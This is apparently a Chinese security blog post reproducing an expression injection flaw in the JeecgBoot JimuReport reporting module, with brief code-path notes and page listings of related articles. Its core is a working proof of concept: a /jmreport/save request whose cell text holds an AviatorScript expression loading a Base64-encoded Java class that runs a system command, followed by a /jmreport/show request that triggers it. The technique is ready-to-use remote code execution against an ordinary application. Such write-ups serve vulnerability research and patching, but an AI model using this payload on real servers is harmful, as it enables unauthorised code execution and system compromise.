[漏洞复现]JeecgBoot AviatorScript表达式注入漏洞复现

JeecgBoot规则引擎表达式注入漏洞(CVE-2024-50623)复现与深度解析 表达式引擎是现代低代码平台和业务规则系统的核心组件,它允许系统在运行时动态解析和执行用户定义的逻辑,从而实现业务流程的灵活配置。其工作原理是将字符串形式的表达式转换为可执行的代码结构,在预设的上下文中进行求值。这项技术的核心价值在于实现了业务逻辑的动态化与外部化,极大地提升了开发效率和系统适应性,广泛应用于金融风控、流程审批、动态定价等场景。然而,当表达式引擎直接执行未经严格校验的用户输入时,便会引入严重的表达式注入漏洞。攻击者可以构造包含恶意代码的表达式,突破业务逻辑限制,直接调用底层系统API。本文以J 阅读详情

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

最近有很多师傅也发了关于JeecgBoot AviatorScript表达式注入的部分或具体细节,我也来蹭一蹭,建议配合[代码审计]jeecg-boot最新权限绕过漏洞分析及新绕过发现 食用。

代码分析

可以简单过一下代码。

先去看/jeecg-boot/jmreport/save接口。

进入saveReport处理。

可以看到save接口主要就是对传入的json数据处理保存。表达式注入的触发点在show接口上。

跟进到ExpressUtil中,可以发现存在AviatorEvaluator。

往下执行发现触发点。

漏洞复现

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 3456


{
    "loopBlockList": [],
    "area": false,
    "printElWidth": 718,
    "excel_config_id": "980882669965455363",
    "printElHeight": 1047,
    "rows": {
        "4": {
            "cells": {
                "4": {
                    "text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('test', Base64Utils.decodeFromString('yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA=='), ClassLoader.getSystemClassLoader());)",
                    "style": 0
                }
            },
            "height": 25
        },
        "len": 96,
        "-1": {
            "cells": {
                "-1": {
                    "text": "${gongsi.id}"
                }
            },
            "isDrag": true
        }
    },
    "dbexps": [],
    "toolPrintSizeObj": {
        "printType": "A4",
        "widthPx": 718,
        "heightPx": 1047
    },
    "dicts": [],
    "freeze": "A1",
    "dataRectWidth": 701,
    "background": false,
    "name": "sheet1",
    "autofilter": {},
    "styles": [
        {
            "align": "center"
        }
    ],
    "validations": [],
    "cols": {
        "4": {
            "width": 95
        },
        "len": 50
    },
    "merges": [
        "E4:F4",
        "B4:B5",
        "C4:C5",
        "D4:D5",
        "G4:G5",
        "H4:H5",
        "I4:I5",
        "D1:G1",
        "H3:I3"
    ]
}

POST /jeecg-boot/jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI= HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 42


{
    "id": "980882669965455363"
}

参考链接

https://github.com/jeecgboot/JeecgBoot/issues/7014

https://github.com/killme2008/aviatorscript/issues/421

https://whoopsunix.com/docs/java/Expression/Aviator/#jdk-%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84-aviator-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5

JeecgBoot权限绕过与AviatorScript表达式注入漏洞深度剖析 在Web应用开发中,权限控制与输入验证是保障系统安全的两大基石。权限控制通常依赖安全框架(如Shiro、Spring Security)的拦截规则与注解配置,其核心原理是基于URL匹配与角色/权限标识进行访问决策。若配置不当(如通配符过度放行、注解遗漏),会导致权限绕过,使得未授权用户能访问受保护接口。表达式注入则属于代码注入漏洞的一种,当用户输入被直接传递给表达式引擎(如AviatorScript)执行时,攻击者可构造恶意表达式访问Java运行时环境,实现远程代码执行(RCE),其技术价值在于揭示了动态功 阅读详情

相关推荐

从AviatorScript表达式注入看低代码平台的安全债:以JeecgBoot漏洞为例

本文以JeecgBoot低代码平台的AviatorScript表达式注入漏洞为例,深入分析了低代码平台面临的安全挑战。文章揭示了权限绕过与代码执行漏洞的形成机制,并提供了脚本引擎安全使用范式和低代码平台的架构安全原则,为企业级低代码平台选型提供了安全评估框架。

weixin_29323365的博客 240

JeecgBoot积木报表AviatorScript表达式注入漏洞复现

积木报表(JimuReport),是一款免费的数据可视化报表,类似于excel操作风格,通过拖拽完成报表设计,含报表设计和大屏设计。在积木报表1.7.8版本存在漏洞,可以通过表达式注入进行命令执行,进一步可获得系统权限。

柠檬i的博客 2743

JeecgBoot积木报表AviatorScript注入漏洞深度解析与修复实战

表达式引擎是现代软件开发中用于动态执行逻辑运算的核心组件,广泛应用于规则引擎、报表计算和业务逻辑配置等场景。其工作原理是将字符串形式的表达式解析为可执行的指令,在运行时结合上下文环境进行求值。这种动态性带来了灵活性,但也引入了安全风险,如果用户输入未经严格过滤直接拼接到表达式中,就可能形成注入漏洞,导致任意代码执行。AviatorScript作为一款高性能的Java表达式引擎,其技术价值在于轻量级和高性能,但在默认配置下,它允许访问Java原生类库,包括执行系统命令的`Runtime`类,这构成了严重的安全

weixin_27199085的博客 371

漏洞复现--JeecgBoot testConnection 远程代码执行

JeecgBoot 是一款基于代码生成器的低代码开发平台,该产品存在testConnection 远程命令执行漏洞。JeecgBoot积木报表。

qq_53003652的博客 7531

别再乱用表达式了!手把手教你排查并修复JeecgBoot积木报表1.7.8的AviatorScript注入漏洞

本文详细解析了JeecgBoot积木报表1.7.8版本中的AviatorScript表达式注入漏洞,提供了从漏洞原理到企业级防护体系的全面解决方案。通过实战案例和代码示例,指导开发者如何排查、修复漏洞,并构建多层次的安全防护机制,确保报表系统的数据安全。

weixin_42522964的博客 182

从防御者视角:如何检测和修复JeecgBoot积木报表的AviatorScript表达式注入风险

本文详细介绍了JeecgBoot积木报表中AviatorScript表达式注入漏洞的检测与修复方法。从漏洞影响评估、应急缓解措施到根本性修复方案,提供了一套完整的安全加固指南,帮助企业有效防范远程代码执行(RCE)风险,确保系统安全稳定运行。

weixin_30338481的博客 415

【漏洞复现】JeecgBoot 权限绕过致AviatorScript表达式注入漏洞

JeecgBoot 存在权限绕过漏洞,未经身份验证的远程攻击者可构造jmLink、sharetoken参数或JmReport-Share-Token请求头绕过权限认证访问后台接口,进一步深入利用可实现远程代码执行、木马植入,导致服务器失陷等问题。Jeecg Boot(或者称为 Jeecga-Boot)是一款基于代码生成器的开源企业级快速开发平台,专注于开发后台管理系统9、企业信息管理系统(MIS)等应用。它提供了一系列工具和模板,帮助开发者快速构建和部署现代化的 Web 应用程序。

qq_48368964的博客 3545

JeecgBoot积木报表AviatorScript表达式注入漏洞深度剖析与实战利用

本文深度剖析了JeecgBoot积木报表中AviatorScript表达式注入漏洞的原理与利用方式。该漏洞源于对用户输入未做严格过滤,导致攻击者可构造恶意表达式,通过AviatorScript引擎的`use`语句导入Java类并执行任意代码,最终实现远程命令执行(RCE)。文章详细介绍了漏洞复现步骤、高阶利用手法及防御建议。

css33的专栏 661

别再乱用表达式了!手把手教你排查和修复JeecgBoot积木报表1.7.8的AviatorScript注入漏洞

本文详细解析了JeecgBoot积木报表1.7.8版本中的AviatorScript表达式注入漏洞,提供了版本自查、漏洞原理分析及多维度修复方案。通过官方补丁升级、临时安全加固措施和代码层深度防护,帮助开发者有效防范安全风险,确保企业级应用的数据安全。

weixin_30752699的博客 400

从POC到原理:深入拆解JeecgBoot积木报表AviatorScript表达式注入漏洞的利用链

本文深入分析了JeecgBoot积木报表组件中的AviatorScript表达式注入漏洞(CVE-2023-XXXX),详细拆解了从POC到原理的完整利用链。通过剖析AviatorScript引擎的工作机制和动态类加载过程,揭示了攻击者如何利用精心构造的表达式实现远程代码执行(RCE),并提供了有效的防御建议和升级策略。

weixin_30879169的博客 442

手把手教你复现JeecgBoot积木报表1.7.8的AviatorScript漏洞(附完整POC与DNSLog验证)

本文详细解析了JeecgBoot积木报表1.7.8中AviatorScript表达式注入漏洞的复现方法,包括环境搭建、POC构造及DNSLog验证技术。通过实战演示,帮助安全研究人员深入理解漏洞机理,并提供防御方案与最佳实践,助力企业提升系统安全性。

weixin_33737134的博客 352

Jeecg-Boot /jeecg-boot/jmreport/qurestSql接口sql注入漏洞复现

JeecgBoot 前台接口SQL注入漏洞

weixin_45908624的博客 4470

Jeecg漏洞总结及tscan poc分享

jeecgboot是一款基于代码生成器的低代码开发平台,集成完善的工作流、表单、报表、大屏的平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,成熟的微服务解决方案。 最近的攻防演练中经常遇到部署该服务的系统,而且大部分都有可利用的漏洞点,故整理一篇漏洞总结文章方便日后查阅,并且根据tscan脚本规则编写了其中一部分的poc。

YJ_12340的博客 4196

JeecgBootSql二次注入复现

漏洞复现

weixin_45803562的博客 1885

JeecgBoot 权限绕过致AviatorScript表达式注入漏洞复现

JeecgBoot 存在权限绕过漏洞,未经身份验证的远程攻击者可构造jmLink、sharetoken参数或JmReport-Share-Token请求头绕过权限认证访问后台接口,进一步深入利用可实现远程代码执行、木马植入,导致服务器失陷等问题。

0xSec 2014

JeecgBoot jmreport/queryFieldBySql RCE漏洞复现

Jeecg Boot jmreport/queryFieldBySql接口存在代码执行漏洞,攻击者可以通过操纵应用程序的模板引擎来执行恶意代码或获取敏感信息。这种漏洞可能会导致整个应用程序被入侵,造成严重的安全问题。

0xSec 3977

JeecgBoot JimuReport testConnection RCE漏洞复现

JeecgBoot 的 jeecg-boot/jmreport/testConnection 未进行身份验证,并且未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的 http 请求远程执行任意代码。

0xSec 3622

JeecgBoot getTotalData SQL注入漏洞复现(CVE-2024-48307)

JeecgBoot v3.7.1中的/onlDragDatasetHead/getTotalData组件发现存在SQL注入漏洞。攻击者可以无需权限利用jimureport-dashboard-spring-boot-starter-1.8.1-beta.jar查询数据库,导致数据库信息泄露。

iSee857的博客 1886
上一篇: [漏洞复现]章管家前台任意文件上传漏洞(XVE-2024-19042)
下一篇: [工具推荐]Hessian反序列化漏洞利用工具分享
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值